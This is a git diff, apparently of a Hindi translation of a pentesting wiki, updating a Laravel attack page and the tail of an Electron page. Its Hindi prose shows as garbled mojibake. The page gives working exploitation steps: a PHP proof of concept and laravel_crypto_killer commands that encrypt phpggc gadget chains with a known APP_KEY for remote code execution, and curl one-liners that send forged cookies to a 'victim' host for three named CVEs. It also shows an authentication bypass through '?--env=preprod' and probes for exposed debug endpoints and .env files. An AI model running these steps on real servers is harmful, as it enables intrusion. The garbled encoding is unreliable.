рдФрд░ browser_v8_context_snapshot.bin рдХреЗ рд▓рд┐рдП baseline рдФрд░ рдореЙрдирд┐рдЯрд░ hashes рд░рдЦреЗрдВред +- Early-runtime builtin clobbering рдФрд░ рдЕрдирдкреЗрдХреНрд╖рд┐рдд snapshot рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ; рдЬрдм deserialized snapshots рдЙрдореНрдореАрдж рдХреЗ рдЕрдиреБрд░реВрдк рди рд╣реЛрдВ рддреЛ alert рдХрд░реЗрдВред ## **References** @@ -547,7 +563,7 @@ Detection and mitigations - [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/) - [Loki C2](https://github.com/boku7/Loki/) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) -- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model) +- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 9ff2c564e..afe452a46 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝реЗрдВ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЗрдВрдЯрд░рдирд▓реНрд╕ (Laravel \u003e=5.6) +## APP_KEY & Encryption internals (Laravel \u003e=5.6) -Laravel рдмреИрдХрдПрдВрдб рдореЗрдВ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (`Illuminate\\Encryption\\Encrypter`)ред -рдЕрдВрддрддрдГ рдХрдЪреНрдЪрд╛ ciphertext рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ**, рд╡рд╣ **Base64 of a JSON object** рдЬреИрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ: +Laravel рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдХреЗ рд╕рд╛рде (`Illuminate\\Encryption\\Encrypter`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +рдЕрдВрддрддрдГ **рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛** рдХрдЪреНрдЪрд╛ ciphertext рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ **JSON object рдХрд╛ Base64** рд╣реЛрддрд╛ рд╣реИ: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,23 +20,23 @@ Laravel рдмреИрдХрдПрдВрдб рдореЗрдВ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВ "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рд╛рджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ `serialize()` рдХрд░реЗрдЧрд╛, рдЬрдмрдХрд┐ -`decrypt($payload, $unserialize=true)` **рдбрд┐рдХреНрд░реАрдкреНрдЯ рдХрд┐рдП рдЧрдП рдорд╛рди рдХреЛ рд╕реНрд╡рддрдГ `unserialize()` рдХрд░реЗрдЧрд╛**ред -рдЗрд╕рд▓рд┐рдП **рдХреЛрдИ рднреА attacker рдЬреЛ 32-byte secret `APP_KEY` рдЬрд╛рдирддрд╛ рд╣реИ рд╡рд╣ рдПрдХ encrypted PHP serialized object рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ magic methods (`__wakeup`, `__destruct`, тАж) рдХреЗ рдЬрд░рд┐рдП RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +`encrypt($value, $serialize=true)` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рд╛рджрд╛-рдкрд╛рда рдХреЛ `serialize()` рдХрд░реЗрдЧрд╛, рдЬрдмрдХрд┐ +`decrypt($payload, $unserialize=true)` **рд╕реНрд╡рддрдГ `unserialize()`** рдХрд░реЗрдЧрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рдорд╛рди рдХреЛред +рдЗрд╕рд▓рд┐рдП **рдХреЛрдИ рднреА рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ 32-рдмрд╛рдЗрдЯ рдЧреБрдкреНрдд `APP_KEY` рдЬрд╛рдирддрд╛ рд╣реИ, рд╡рд╣ рдПрдХ encrypted PHP serialized object рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ magic methods (`__wakeup`, `__destruct`, тАж) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред** -Minimal PoC (framework тЙе9.x): +рдиреНрдпреВрдирддрдо PoC (framework тЙе9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -рдЙрддреНрдкрдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдХрд┐рд╕реА рднреА рдХрдордЬреЛрд░ `decrypt()` sink (route param, cookie, session, тАж) рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред +Inject рдЙрддреНрдкрдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдХрд┐рд╕реА рднреА рдХрдордЬреЛрд░ `decrypt()` sink (route param, cookie, session, тАж) рдореЗрдВ рдбрд╛рд▓реЗрдВред --- ## laravel-crypto-killer ЁЯзи -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ **bruteforce** рдореЛрдб рдЬреЛрдбрд╝рддрд╛ рд╣реИ: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) рдкреВрд░реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдСрдЯреЛрдореЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ **bruteforce** рдореЛрдб рдЬреЛрдбрд╝рддрд╛ рд╣реИ: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -51,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the --- -## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдХрдордЬреЛрд░ рдкреИрдЯрд░реНрди +## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрдордЬреЛрд░ рдкреИрдЯрд░реНрди | Project | Vulnerable sink | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja тЙдv5 (CVE-2024-55555) | `/route/{hash}` тЖТ `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT тЙдv6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Snipe-IT тЙдv6 (CVE-2024-48987) | `XSRF-TOKEN` cookie рдЬрдм `Passport::withCookieSerialization()` рд╕рдХреНрд╖рдо рд╣реЛ | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` тЖТ `laravel_session` cookie | Laravel/RCE15 | -The exploitation workflow is always: -1. 32-byte `APP_KEY` рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдпрд╛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░реЗрдВред -2. **PHPGGC** рдХреЗ рд╕рд╛рде рдПрдХ gadget chain рдмрдирд╛рдПрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Laravel/RCE13`, `Laravel/RCE9` рдпрд╛ `Laravel/RCE15`)ред -3. рд╕рд┐рд░реАрдпрд▓рд╛рдЗрдЬрд╝реНрдб gadget рдХреЛ **laravel_crypto_killer.py** рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд `APP_KEY` рд╕реЗ encrypt рдХрд░реЗрдВред -4. рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдХрдордЬреЛрд░ `decrypt()` sink (route parameter, cookie, session тАж) рдкрд░ рднреЗрдЬреЗрдВ рддрд╛рдХрд┐ **RCE** рдЯреНрд░рд┐рдЧрд░ рд╣реЛред +рд╢реЛрд╖рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣ рд╣рдореЗрд╢рд╛ рдпрд╣ рд╣реЛрддрд╛ рд╣реИ: +1. 32-byte `APP_KEY` рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдпрд╛ brute-force рдХрд░реЗрдВред +2. PHPGGC рдХреЗ рд╕рд╛рде рдПрдХ gadget chain рдмрдирд╛рдПрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Laravel/RCE13`, `Laravel/RCE9` рдпрд╛ `Laravel/RCE15`)ред +3. serialized gadget рдХреЛ `laravel_crypto_killer.py` рдФрд░ рдкреНрд░рд╛рдкреНрдд `APP_KEY` рдХреЗ рд╕рд╛рде encrypt рдХрд░реЗрдВред +4. ciphertext рдХреЛ vulnerable `decrypt()` sink (route parameter, cookie, session тАж) рдореЗрдВ рдкрд╣реБрдВрдЪрд╛рдХрд░ **RCE** рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВред -рдиреАрдЪреЗ рд╕рдВрдХреНрд╖рд┐рдкреНрдд one-liners рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ CVE рдХреЗ рд▓рд┐рдП рдкреВрд░рд╛ attack path рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ: +рдиреАрдЪреЗ рд╕рдВрдХреНрд╖рд┐рдкреНрдд one-liners рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ CVE рдХреЗ рд▓рд┐рдП рдкреВрд░рд╛ attack path рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ: ```bash # Invoice Ninja тЙд5 тАУ /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` -## рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ APP_KEY рдЦреЛрдЬ (cookie brute-force рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) +## Mass APP_KEY discovery via cookie brute-force -рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдирдП Laravel response рдХрдо рд╕реЗ рдХрдо 1 рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб cookie (`XSRF-TOKEN` рдФрд░ рдЖрдорддреМрд░ рдкрд░ `laravel_session`) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, **public internet scanners (Shodan, Censys, тАж) leak millions of ciphertexts** рдЬреЛ offline рдореЗрдВ рд╣рдорд▓рд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдирдпрд╛ Laravel response рдХрдо рд╕реЗ рдХрдо 1 encrypted cookie (`XSRF-TOKEN` рдФрд░ рд╕рд╛рдорд╛рдиреНрдпрддрдГ `laravel_session`) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, **public internet scanners (Shodan, Censys, тАж) leak millions of ciphertexts** рдЬрд┐рдиреНрд╣реЗрдВ offline attack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -Synacktiv (2024-2025) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рд░рд┐рд╕рд░реНрдЪ рдХреЗ рдореБрдЦреНрдп рдирд┐рд╖реНрдХрд░реНрд╖: +Key findings of the research published by Synacktiv (2024-2025): * Dataset July 2024 ┬╗ 580 k tokens, **3.99 % keys cracked** (тЙИ23 k) * Dataset May 2025 ┬╗ 625 k tokens, **3.56 % keys cracked** * >1 000 servers рдЕрднреА рднреА legacy CVE-2018-15133 рдХреЗ рдкреНрд░рддрд┐ vulnerable рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ tokens рд╕реАрдзреЗ serialized data contain рдХрд░рддреЗ рд╣реИрдВред -* Huge key reuse тАУ Top-10 APP_KEYs hard-coded defaults рд╣реИрдВ рдЬреЛ commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, тАж) рдХреЗ рд╕рд╛рде shipped рд╣реЛрддреЗ рд╣реИрдВред +* Huge key reuse тАУ Top-10 APP_KEYs рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб defaults рд╣реИрдВ рдЬреЛ commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, тАж) рдХреЗ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред -Private Go tool **nounours** AES-CBC/GCM bruteforce throughput рдХреЛ ~1.5 billion tries/s рддрдХ рдкрд╣реБрдВрдЪрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реЗ dataset рдХрд╛ cracking <2 minutes рдореЗрдВ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +рдирд┐рдЬреА Go рдЯреВрд▓ **nounours** AES-CBC/GCM bruteforce throughput рдХреЛ ~1.5 billion tries/s рддрдХ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реЗ рдбреЗрдЯрд╛рд╕реЗрдЯ рдХрд╛ cracking <2 minutes рдореЗрдВ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред ## CVE-2024-52301 тАУ HTTP argv/env override тЖТ auth bypass -рдЬрдм PHP рдХрд╛ `register_argc_argv=On` (рдХрдИ distros рдкрд░ typical) рд╣реЛрддрд╛ рд╣реИ, PHP query string рд╕реЗ derived HTTP requests рдХреЗ рд▓рд┐рдП рдПрдХ `argv` array expose рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд┐рдпрд╛ Laravel versions рдЗрди тАЬCLI-likeтАЭ args рдХреЛ parse рдХрд░рддреЗ рдереЗ рдФрд░ runtime рдкрд░ `--env=` рдХреЛ рдорд╛рдирддреЗ рдереЗред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдЗрд╕реЗ рдХрд┐рд╕реА рднреА URL рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ current HTTP request рдХреЗ рд▓рд┐рдП framework environment flip рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЬрдм PHP рдХрд╛ `register_argc_argv=On` (рдХрдИ distros рдкрд░ рд╕рд╛рдорд╛рдиреНрдп) рд╣реЛрддрд╛ рд╣реИ, PHP query string рд╕реЗ рдирд┐рдХрд▓реЗ HTTP requests рдХреЗ рд▓рд┐рдП рдПрдХ `argv` array expose рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓ рдХреА Laravel versions рдЗрди тАЬCLI-likeтАЭ args рдХреЛ parse рдХрд░рддреА рдереАрдВ рдФрд░ runtime рдкрд░ `--env=` рдХреЛ рдорд╛рдирддреА рдереАрдВред рдЗрд╕рд╕реЗ рдХрд┐рд╕реА рднреА URL рдХреЗ рдЕрдВрдд рдореЗрдВ рдЗрд╕реЗ рдЬреЛрдбрд╝рдХрд░ current HTTP request рдХреЗ рд▓рд┐рдП framework environment рдХреЛ рдмрджрд▓рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ: - Quick check: -- Visit `https://target/?--env=local` рдпрд╛ рдХреЛрдИ рднреА string рдЦреЛрд▓реЗрдВ рдФрд░ environment-dependent рдкрд░рд┐рд╡рд░реНрддрди рджреЗрдЦреЗрдВ (debug banners, footers, verbose errors)ред рдпрджрд┐ string reflect рд╣реЛрддрд╛ рд╣реИ, рддреЛ override рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред +- Visit `https://target/?--env=local` рдпрд╛ рдХреЛрдИ рднреА string рдФрд░ environment-dependent рдмрджрд▓рд╛рд╡ рджреЗрдЦреЗрдВ (debug banners, footers, verbose errors). рдЕрдЧрд░ string reflected рд╣реЛрддреА рд╣реИ, рддреЛ override рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред - Impact example (business logic trusting a special env): -- рдпрджрд┐ app рдореЗрдВ рдРрд╕реА branches рд╣реИрдВ рдЬреИрд╕реЗ `if (app()->environment('preprod')) { /* bypass auth */ }`, рддреЛ рдЖрдк valid creds рдХреЗ рдмрд┐рдирд╛ authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ login POST рднреЗрдЬрдХрд░: +- рдЕрдЧрд░ рдРрдк рдореЗрдВ рдРрд╕реЗ branches рд╣реИрдВ рдЬреИрд╕реЗ `if (app()->environment('preprod')) { /* bypass auth */ }`, рддреЛ рдЖрдк рд╡реИрдз creds рдХреЗ рдмрд┐рдирд╛ authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд╕ login POST рднреЗрдЬрдХрд░: - `POST /login?--env=preprod` - Notes: -- рд╣рд░-request рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдХреЛрдИ persistence рдирд╣реАрдВред -- Requires `register_argc_argv=On` рдФрд░ рдПрдХ vulnerable Laravel version рдЬреЛ HTTP рдХреЗ рд▓рд┐рдП argv рдкрдврд╝рддрд╛ рд╣реИред -- рдПрдХ рдЙрдкрдпреЛрдЧреА primitive рд╣реИ рдЬреЛ тАЬdebugтАЭ envs рдореЗрдВ рдЕрдзрд┐рдХ verbose errors surface рдХрд░рдиреЗ рдпрд╛ environment-gated code paths trigger рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдо рдЖрддрд╛ рд╣реИред +- Works per-request, no persistence. +- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. +- Useful primitive to surface more verbose errors in тАЬdebugтАЭ envs or to trigger environment-gated code paths. - Mitigations: -- PHP-FPM/Apache рдХреЗ рд▓рд┐рдП `register_argc_argv` рдХреЛ Disable рдХрд░реЗрдВред -- Laravel рдХреЛ upgrade рдХрд░реЗрдВ рддрд╛рдХрд┐ HTTP requests рдкрд░ argv ignore рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ production routes рдореЗрдВ `app()->environment()` рд╕реЗ рдЬреБрдбрд╝реА рдХрд┐рд╕реА рднреА trust assumption рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПред +- PHP-FPM/Apache рдХреЗ рд▓рд┐рдП `register_argc_argv` рдХреЛ disable рдХрд░реЗрдВред +- Laravel рдХреЛ upgrade рдХрд░реЗрдВ рддрд╛рдХрд┐ HTTP requests рдкрд░ argv ignore рдХрд░реЗ рдФрд░ production routes рдореЗрдВ `app()->environment()` рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд┐рд╕реА рднреА trust assumption рдХреЛ рд╣рдЯрд╛ рджреЗрдВред Minimal exploitation flow (Burp): ```http @@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf ``` --- -## Laravel рдпреБрдХреНрддрд┐рдпрд╛рдБ +## Laravel рдЯреНрд░рд┐рдХреНрд╕ ### рдбрд┐рдмрдЧрд┐рдВрдЧ рдореЛрдб -рдпрджрд┐ Laravel **debugging mode** рдореЗрдВ рд╣реИ рддреЛ рдЖрдк **code** рдФрд░ **sensitive data** рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдПрдВрдЧреЗред\ +рдЕрдЧрд░ Laravel **рдбрд┐рдмрдЧрд┐рдВрдЧ рдореЛрдб** рдореЗрдВ рд╣реИ рддреЛ рдЖрдк **рдХреЛрдб** рдФрд░ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВрдЧреЗ.\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЕрдиреНрдп Laravel RCE CVEs рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред +рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЕрдиреНрдп Laravel RCE CVEs рдХреЛ exploiting рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред -### рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рдФрд░ рдЦреБрд▓реЗ dev endpoints +### Fingerprinting & exposed dev endpoints -Production рдореЗрдВ Laravel stack рдФрд░ рдЦрддрд░рдирд╛рдХ dev tooling рдХреЗ рдЦреБрд▓реЗ рд╣реЛрдиреЗ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪреЗрдВ: +Laravel рд╕реНрдЯреИрдХ рдФрд░ production рдореЗрдВ рдПрдХреНрд╕рдкреЛрдЬрд╝реНрдб рдЦрддрд░рдирд╛рдХ dev tooling рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪреЗрдВ: -- `/_ignition/health-check` тЖТ Ignition рдореМрдЬреВрдж рд╣реИ (debug tool рдЬреЛ CVE-2021-3129 рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реБрдЖ рдерд╛). рдпрджрд┐ рдмрд┐рдирд╛ authentication рдХреЗ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рддреЛ рдРрдк debug рдореЛрдб рдореЗрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ misconfigured рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -- `/_debugbar` тЖТ Laravel Debugbar assets; рдЕрдХреНрд╕рд░ debug рдореЛрдб рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред -- `/telescope` тЖТ Laravel Telescope (dev monitor). рдпрджрд┐ public рд╣реИ, рддреЛ рд╡реНрдпрд╛рдкрдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЦреБрд▓рд╛рд╕реЗ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд actions рдХреА рдЙрдореНрдореАрдж рдХрд░реЗрдВред -- `/horizon` тЖТ Queue dashboard; рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рдХрднреА-рдХрднреА CSRF-рдкреНрд░реЛрдЯреЗрдХреНрдЯреЗрдб actionsред -- `X-Powered-By`, cookies `XSRF-TOKEN` рдФрд░ `laravel_session`, рдФрд░ Blade error pages рднреА fingerprinting рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред +- `/_ignition/health-check` тЖТ Ignition рдореМрдЬреВрдж рд╣реИ (debug tool used by CVE-2021-3129). рдпрджрд┐ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ, рддреЛ рдРрдк рдбрд┐рдмрдЧ рдпрд╛ misconfigured рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +- `/_debugbar` тЖТ Laravel Debugbar assets; рдЕрдХреНрд╕рд░ рдбрд┐рдмрдЧ рдореЛрдб рдХрд╛ рд╕рдВрдХреЗрдд рд╣реЛрддрд╛ рд╣реИред +- `/telescope` тЖТ Laravel Telescope (dev monitor). рдпрджрд┐ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╣реИ, рддреЛ рд╡реНрдпрд╛рдкрдХ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░рд┐рдпрд╛рдПрдВ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВред +- `/horizon` тЖТ Queue dashboard; рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рдХрднреА-рдХрднреА CSRF-protected actionsред +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages рднреА fingerprint рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 @@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/ ``` ### .env -Laravel рдЙрд╕ APP рдХреЛ `.env` рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ cookies рдФрд░ рдЕрдиреНрдп credentials рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓ path traversal рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `/../.env` рдХреЗ рддрд╣рдд рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред +Laravel `.env` рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд╣ APP рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ cookies рдФрд░ рдЕрдиреНрдп credentials рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдХреБрдЫ path traversal рдХреЗ рдЬрд░рд┐рдП `/../.env` рдХреЗ рддрд╣рдд рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -Laravel рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА debug page рдореЗрдВ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдпрд╣ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬрдм Laravel рдХреЛрдИ error рдкрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ)ред +Laravel рдпрд╣ 